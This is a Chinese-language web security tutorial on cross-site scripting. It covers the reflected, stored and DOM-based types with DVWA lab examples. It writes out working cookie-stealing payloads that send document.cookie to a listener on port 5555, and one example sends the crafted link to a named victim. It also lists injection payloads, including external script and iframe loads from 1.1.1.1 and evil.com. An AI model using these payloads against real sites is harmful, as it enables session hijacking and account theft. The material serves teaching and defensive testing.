您现在的位置是:首页 >技术教程 >Web安全之XSS漏洞详解网站首页技术教程
Web安全之XSS漏洞详解
一、概念
xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”。为了不与网页中层叠样式表(css)混淆,故命名为xss
xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。
常见的危害有:cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等。
xss根据特性和利用方式可以分成三大类,反射性xss 、存储型xss、DOM型xss、
- 反射型XSS:一般出现在URL参数中,以及网站搜索栏中,由于需要点击包含恶意代码的URL才可以触发,并且只能触发一次,也称为非持久型xss。
- 存储型XSS:一般出现在留言板上,评论处,个人资料填写,等需要用户可以对网站写入数据的地方,比如一个论坛处由于对用户输入过滤不严格,导致攻击者在写入一段窃取cookie的恶意JavaScript代码到评论处,这段恶意代码会写入数据库中,当其他用户浏览写入代码的页面时,网站从数据库中读取恶意代码显示到网页中被浏览器执行,导致用户的cookie被窃取攻击者无需受害者密码既可以登陆账户,所以也被成为持久性xss,持久性xss比反射性xss危害性大得多。
- dom型XSS:DOM xss是基于dom文件对象模型的,前端脚本通过dom动态修改页面,由于不予服务端运行交互,而且代码是可见的,从前端获取dom中的数据在本地执行。常见的可以操作的dom对象有:url、location、referrer等。dom型的xss比较特殊,是一种基于dom树的xss,服务器端经常使用document.body.innertHtml等动态函数生成HTML页面,如果这些函数在引用某些变量时没有进行过滤检查,就会产生dom型的xss。dom型的xss可能是存储型的也可能是反射性的。
二、反射型xss
非持久化,一般需要欺骗客户去点击构造好的链接才能触发代码。
可以看到这个窗口将我填写的信息写到了浏览器页面中,那这个时候我将信息修改成<script>alert('hhh')</script>,可以看到我嵌入的代码被执行了。
这个时候我们将构造好的url发给丽丽http://dvwa/vulnerabilities/xss_r/?name=<script>new Image().src="http://localhost:5555?cookie="+encodeURI(document.cookie);</script>
然后开始侦听本地5555端口,在丽丽点击这个连接以后,我们就获取到了丽丽的cookie信息。
三、存储型xss
存储型XSS又名持久型XSS,这种xss漏洞危害极大,因为它可以长久的保存在网页中,每个浏览过此网页的用户都会中招,很多xss蠕虫的爆发都是基于持久型xss,一般在留言板,评论区类位置容易出现此漏洞。
例:下面是一个有浏览板功能的网页,我们将我们的攻击代码留在页面中<script>alert('hhh')</script>
这样我们每次访问这个页面都会接到hhh的弹窗,然后我们换一下payload,<script>new Image().src="http://localhost:5555?cookie="+document.cookie;</script> ,这样无论是那一个用户进入留言板这个页面,都会把自己的cookie弹到我们的监听窗口上。
三、DOM型xss
关于DOM型xss首先要明白一个问题,一个网页是经过怎么样的步骤显示在浏览器上的?
首先肯定是要向目标服务器发出访问请求,服务器收到请求后,根据我们的请求内容返回网页源码,然后它在我们的浏览器上解析,渲染,最后呈现出一个完整的网页在我们的眼前。DOM型xss与上面两种最大的区别就是,dom型xss漏洞是基于文档对象模型(Document Objeet Model,DOM)的,它不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的。
例:我们构造如下url:http://localhost/iisstart.html?hhh 查看网页内容如下,如果我们将?hhh替换为相应的xss攻击代码,就会产生相应的效果。
然后我们在抓包工具查看服务器对刚刚请求的回包,我们发现构造的?hhh并没有记录到抓包工具中,证明服务器给我们返回的网页源码并没有出现xss,它是在浏览器渲染执行js的时候出现的,这就是dom型xss和其他两种xss的区别。
四、XSS的payload
XSS可以插在哪里?
- 用户输入作为script标签内容
- 用户输入作为HTML注释内容
- 用户输入作为HTML标签的属性名
- 用户输入作为HTML标签的属性值
- 用户输入作为HTML标签的名字
- 直接插入到CSS里
<script>标签:script是最有直接的xss攻击载荷,脚本标记可以应用外部的js代码,或者将脚本插入网页之中。
<script>alert("hhh")</script>
<script src="http://1.1.1.1/a.js"></script>
<img >标签:
<img src="2" onerror=alert('hhh')>
<img src="2" onerror=alert(/hhh/)>
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<table>标签:
<table background="javascript::alert('hhh')">
<iframe>标签:<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。
<iframe src=”http://evil.com/xss.html”>